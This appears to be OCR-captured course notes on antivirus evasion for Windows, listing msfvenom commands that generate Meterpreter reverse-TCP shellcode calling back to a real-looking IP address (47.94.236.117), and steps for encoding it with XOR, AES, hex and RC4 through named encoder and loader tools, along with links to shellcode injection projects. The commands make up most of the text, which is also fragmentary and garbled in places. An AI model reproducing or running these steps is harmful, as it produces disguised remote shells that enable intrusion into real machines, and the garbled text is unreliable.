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reverse tcp.asm
https://www.cnblogs.com/Akkuman/p/12859091.html
https://github.com/rapid7/metasploit-

framework/blob/master/lib/msf/core/payload/windows/reverse tcp.rb
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Xor Aes Hex Rc4 Rsa &

https://github.com/Arno0x/ShellcodeWrapper

msfvenom -p windows/meterpreter/reverse tcp -e x86/shikata ga nai
-i 6 -b '\x00' lhost=47.94.236.117 lport=3333 -f raw >
shellcode.raw

1. python2 shellcode encoder.py -cpp —-cs -py shellcode.raw xiaodi
XOr

CS&MSF

msfvenom -p windows/meterpreter/reverse tcp -e x86/shikata ga nai
-i 6 -b '\x00' lhost=47.94.236.117 lport=3333 -f raw >
shellcode.raw

python xor.py -s shellcode.bin -d payload.c -n 10 -r out.bin

2~ python2 shellcode encoder.py -cpp -cs -py shellcode.raw xiaodi
aes

3. Hex

msfvenom -p windows/meterpreter/reverse tcp lhost=47.94.236.117
lport=6688 -f c

https://gchg.github.io/CyberChef/
https://github.com/ByPassAVTeam/ShellcodelLoader

LoaderMaker.exe download.dat (hex ##E) xiaodi.exe (ZERIF4)

4. Rc4

msfvenom -p windows/meterpreter/reverse tcp lhost=47.94.236.117
lport=6688 -f c

https://blog.csdn.net/weixin 45590789/article/details/105536623
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Callback Shellcode Injection-main

https://github.com/ChaitanyaHaritash/Callback Shellcode Injection
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https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

